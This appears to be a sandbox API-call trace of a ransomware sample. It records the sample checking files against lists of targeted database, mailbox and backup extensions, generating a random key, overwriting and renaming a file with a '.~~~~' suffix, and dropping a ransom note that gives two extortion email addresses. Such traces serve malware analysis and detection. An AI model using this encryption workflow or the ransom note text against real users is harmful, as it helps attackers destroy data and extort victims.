	[0083.351] lstrlenW (lpString=".vhdx") returned 5
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.351] lstrlenW (lpString=".NDF") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.351] lstrlenW (lpString=".dat") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.351] lstrlenW (lpString=".DBS") returned 4
	[0083.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.351] lstrlenW (lpString=".CKP") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.352] lstrlenW (lpString=".edb") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.352] lstrlenW (lpString=".PST") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.352] lstrlenW (lpString=".dbf") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.352] lstrlenW (lpString=".SQL") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.352] lstrlenW (lpString=".pst") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.352] lstrlenW (lpString=".dbv") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.352] lstrlenW (lpString=".SDF") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.352] lstrlenW (lpString=".dtxs") returned 5
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.352] lstrlenW (lpString=".db3") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.352] lstrlenW (lpString=".OST") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.352] lstrlenW (lpString=".dbx") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.352] lstrlenW (lpString=".DB3") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.352] lstrlenW (lpString=".DAT") returned 4
	[0083.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.353] lstrlenW (lpString=".VHDX") returned 5
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.353] lstrlenW (lpString=".ndf") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.353] lstrlenW (lpString=".DB") returned 3
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.353] lstrlenW (lpString=".sql") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.353] lstrlenW (lpString=".MYD") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.353] lstrlenW (lpString=".DBT") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.353] lstrlenW (lpString=".ACCDB") returned 6
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.353] lstrlenW (lpString=".fdb") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.353] lstrlenW (lpString=".bak") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.353] lstrlenW (lpString=".myd") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.353] lstrlenW (lpString=".DTXS") returned 5
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.353] lstrlenW (lpString=".ckp") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.353] lstrlenW (lpString=".dbt") returned 4
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.353] lstrlenW (lpString=".db") returned 3
	[0083.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.354] lstrlenW (lpString=".TXT") returned 4
	[0083.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.354] lstrlenW (lpString=".MDF") returned 4
	[0083.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.354] lstrlenW (lpString=".bdb") returned 4
	[0083.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.354] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.354] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.355] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.355] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.355] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20334533439) returned 1
	[0083.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9b83acd0, dwHighDateTime=0x1d60e1e)) 
	[0083.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2170
	[0083.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2170 | out: hHeap=0x300000) returned 1
	[0083.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e688
	[0083.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e688 | out: hHeap=0x300000) returned 1
	[0083.356] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.356] GetLastError () returned 0x0
	[0083.356] GetLastError () returned 0x0
	[0083.356] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.356] GetLastError () returned 0x0
	[0083.357] GetLastError () returned 0x0
	[0083.359] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff7f0f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.359] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x80f1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x80f1, lpOverlapped=0x0) returned 1
	[0083.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.359] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.360] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.360] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.360] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.360] CloseHandle (hObject=0x124) returned 1
	[0083.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4270
	[0083.360] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.~~~~")) returned 1
	[0083.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4270 | out: hHeap=0x300000) returned 1
	[0083.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.361] GetLastError () returned 0x0
	[0083.361] RtlWakeConditionVariable () returned 0x365f70
	[0083.361] GetCurrentThreadId () returned 0x3a4
	[0083.361] GetCurrentThreadId () returned 0x3a4
	[0083.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a21a8 | out: hHeap=0x300000) returned 1
	[0083.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.362] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.362] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.364] CloseHandle (hObject=0x124) returned 1
	[0083.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0083.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0083.364] RtlWakeConditionVariable () returned 0x365f70
	[0083.364] GetCurrentThreadId () returned 0x3a4
	[0083.364] GetCurrentThreadId () returned 0x3a4
	[0083.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0083.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0083.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac970 | out: hHeap=0x300000) returned 1
	[0083.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0083.364] lstrlenW (lpString=".scr") returned 4
	[0083.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".scr") returned 0x0
	[0083.364] lstrlenW (lpString=".cmd") returned 4
	[0083.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".cmd") returned 0x0
	[0083.364] lstrlenW (lpString=".dll") returned 4
	[0083.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dll") returned 0x0
	[0083.364] lstrlenW (lpString=".bat") returned 4
	[0083.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".bat") returned 0x0
	[0083.364] lstrlenW (lpString=".cpl") returned 4
	[0083.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".cpl") returned 0x0
	[0083.364] lstrlenW (lpString=".sys") returned 4
	[0083.364] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".sys") returned 0x0
	[0083.365] lstrlenW (lpString=".msc") returned 4
	[0083.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".msc") returned 0x0
	[0083.365] lstrlenW (lpString=".com") returned 4
	[0083.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".com") returned 0x0
	[0083.365] lstrlenW (lpString=".lnk") returned 4
	[0083.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".lnk") returned 0x0
	[0083.365] lstrlenW (lpString=".msp") returned 4
	[0083.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".msp") returned 0x0
	[0083.365] lstrlenW (lpString=".pif") returned 4
	[0083.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".pif") returned 0x0
	[0083.365] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.365] lstrlenW (lpString=".sqb") returned 4
	[0083.365] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".sqb") returned 0x0
	[0083.365] lstrlenW (lpString=".ost") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".ost") returned 0x0
	[0083.366] lstrlenW (lpString=".txt") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".txt") returned 0x0
	[0083.366] lstrlenW (lpString=".mdt") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".mdt") returned 0x0
	[0083.366] lstrlenW (lpString=".BDB") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".BDB") returned 0x0
	[0083.366] lstrlenW (lpString=".eql") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".eql") returned 0x0
	[0083.366] lstrlenW (lpString=".DBF") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DBF") returned 0x0
	[0083.366] lstrlenW (lpString=".EQL") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".EQL") returned 0x0
	[0083.366] lstrlenW (lpString=".FDB") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".FDB") returned 0x0
	[0083.366] lstrlenW (lpString=".EDB") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".EDB") returned 0x0
	[0083.366] lstrlenW (lpString=".DACPAC") returned 7
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.366] lstrlenW (lpString=".VHD") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".VHD") returned 0x0
	[0083.366] lstrlenW (lpString=".DBV") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DBV") returned 0x0
	[0083.366] lstrlenW (lpString=".dacpac") returned 7
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dacpac") returned 0x0
	[0083.366] lstrlenW (lpString=".sdf") returned 4
	[0083.366] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".sdf") returned 0x0
	[0083.366] lstrlenW (lpString=".accdb") returned 6
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".accdb") returned 0x0
	[0083.367] lstrlenW (lpString=".DBX") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DBX") returned 0x0
	[0083.367] lstrlenW (lpString=".MDT") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".MDT") returned 0x0
	[0083.367] lstrlenW (lpString=".SQB") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".SQB") returned 0x0
	[0083.367] lstrlenW (lpString=".vhd") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".vhd") returned 0x0
	[0083.367] lstrlenW (lpString=".bac") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".bac") returned 0x0
	[0083.367] lstrlenW (lpString=".mdf") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".mdf") returned 0x0
	[0083.367] lstrlenW (lpString=".BAK") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".BAK") returned 0x0
	[0083.367] lstrlenW (lpString=".BAC") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".BAC") returned 0x0
	[0083.367] lstrlenW (lpString=".dbs") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dbs") returned 0x0
	[0083.367] lstrlenW (lpString=".vhdx") returned 5
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".vhdx") returned 0x0
	[0083.367] lstrlenW (lpString=".NDF") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".NDF") returned 0x0
	[0083.367] lstrlenW (lpString=".dat") returned 4
	[0083.367] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".dat") returned 0x0
	[0083.367] lstrlenW (lpString=".DBS") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".DBS") returned 0x0
	[0083.368] lstrlenW (lpString=".CKP") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".CKP") returned 0x0
	[0083.368] lstrlenW (lpString=".edb") returned 4
	[0083.368] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpSrch=".edb") returned 0x0
	[0083.368] lstrlenW (lpString=".PST") returned 4
